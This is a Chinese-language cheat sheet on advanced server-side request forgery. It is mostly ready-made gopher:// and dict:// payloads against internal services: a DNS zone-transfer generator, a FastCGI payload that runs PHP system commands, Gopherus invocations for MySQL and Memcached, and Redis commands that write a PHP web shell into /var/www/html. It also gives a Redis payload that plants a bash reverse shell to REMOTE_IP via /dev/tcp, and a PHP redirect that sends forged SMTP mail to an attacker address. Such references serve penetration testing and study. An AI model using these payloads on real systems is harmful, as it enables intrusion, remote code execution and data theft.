SSRF 高级利用 (SSRF Advanced Exploitation)
某些服务(例如 Redis、Elasticsearch)在直接访问时允许免认证的数据写入或命令执行。攻击者可以利用 SSRF 与这些服务进行交互,注入恶意载荷(如 Web Shell)或操纵应用程序状态。
摘要 (Summary)
DNS AXFR
查询内部 DNS 解析器以触发全量区域传输 (AXFR),并提取子域名列表。
from urllib.parse import quote
domain,tld = "example.lab".split('.')
dns_request = b"\x01\x03\x03\x07" # BITMAP
dns_request += b"\x00\x01" # QCOUNT
dns_request += b"\x00\x00" # ANCOUNT
dns_request += b"\x00\x00" # NSCOUNT
dns_request += b"\x00\x00" # ARCOUNT
dns_request += len(domain).to_bytes() # LEN DOMAIN
dns_request += domain.encode() # DOMAIN
dns_request += len(tld).to_bytes() # LEN TLD
dns_request += tld.encode() # TLD
dns_request += b"\x00" # DNAME EOF
dns_request += b"\x00\xFC" # QTYPE AXFR (252)
dns_request += b"\x00\x01" # QCLASS IN (1)
dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request
print(f'gopher://127.0.0.1:25/_{quote(dns_request)}')
针对 example.lab 的载荷示例:gopher://127.0.0.1:25/_%00%1D%01%03%03%07%00%01%00%00%00%00%00%00%07example%03lab%00%00%FC%00%01
curl -s -i -X POST -d 'url=gopher://127.0.0.1:53/_%2500%251d%25a9%25c1%2500%2520%2500%2501%2500%2500%2500%2500%2500%2500%2507%2565%2578%2561%256d%2570%256c%2565%2503%256c%2561%2562%2500%2500%25fc%2500%2501' http://localhost:5000/ssrf --output - | xxd
FastCGI
需要知道服务器上一个 PHP 文件的完整路径,默认情况下漏洞利用使用 /usr/share/php/PEAR.php。
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00
Memcached
Memcached 默认在 11211 端口进行通信。虽然它主要用于存储序列化数据以增强应用程序性能,但在这些数据反序列化过程中可能会出现漏洞。
python2.7 ./gopherus.py --exploit pymemcache
python2.7 ./gopherus.py --exploit rbmemcache
python2.7 ./gopherus.py --exploit phpmemcache
python2.7 ./gopherus.py --exploit dmpmemcache
MySQL
MySQL 用户不应设有密码保护。
$ python2.7 ./gopherus.py --exploit mysql
Give MySQL username: root
Give query to execute: SELECT 123;
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%00%00%00%03%53%45%4c%45%43%54%20%31%32%33%3b%01%00%00%00%01
Redis
Redis 是一个在内存 (RAM) 中存储所有内容的数据库系统
攻击者将 Redis 的转储 (dump) 目录更改为 Web 服务器的文档根目录 (/var/www/html),并将转储文件重命名为 file.php,以确保在保存数据库时生成一个 PHP 文件。然后,他们创建一个包含 Web Shell 代码的 Redis 键(mykey),从而能够通过 HTTP GET 参数执行远程命令。最后,SAVE 命令强制 Redis 将当前内存中的数据库写入磁盘,导致在 /var/www/html/file.php 处生成恶意的 Web Shell。
CONFIG SET dir /var/www/html
CONFIG SET dbfilename file.php
SET mykey "<?php system($_GET[0])?>"
SAVE
-
使用
dict://获取 Web Shell -
使用
gopher://获取 PHP 反弹 Shell (Reverse Shell)gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22 gopher://127.0.0.1:6379/_save
SMTP
恶意行为者可以构造 gopher:// URL 来操纵内部系统上的底层协议(如 HTTP 或 SMTP)。
以下 PHP 脚本可以用于生成一个重定向到 gopher:// 载荷的页面。
<?php
$commands = array(
'HELO victim.com',
'MAIL FROM: <admin@victim.com>',
'RCPT To: <hacker@attacker.com>',
'DATA',
'Subject: @hacker!',
'Hello Friend',
'.'
);
$payload = implode('%0A', $commands);
header('Location: gopher://0:25/_'.$payload);
?>
WSGI
利用 Gopher 协议进行攻击,完整的漏洞利用脚本可在 wofeiwo/webcgi-exploits/uwsgi_exp.py 找到。
| 响应头 (Header) | ||
|---|---|---|
| modifier1 | (1 字节) | 0 (%00) |
| datasize | (2 字节) | 26 (%1A%00) |
| modifier2 | (1 字节) | 0 (%00) |
| 变量 (UWSGI_FILE) | |||
|---|---|---|---|
| key 长度 | (2 字节) | 10 | (%0A%00) |
| key 数据 | (m 字节) | UWSGI_FILE | |
| value 长度 | (2 字节) | 12 | (%0C%00) |
| value 数据 | (n 字节) | /tmp/test.py |
Zabbix
如果在 Zabbix Agent 配置中启用了 EnableRemoteCommands=1,则允许执行远程命令。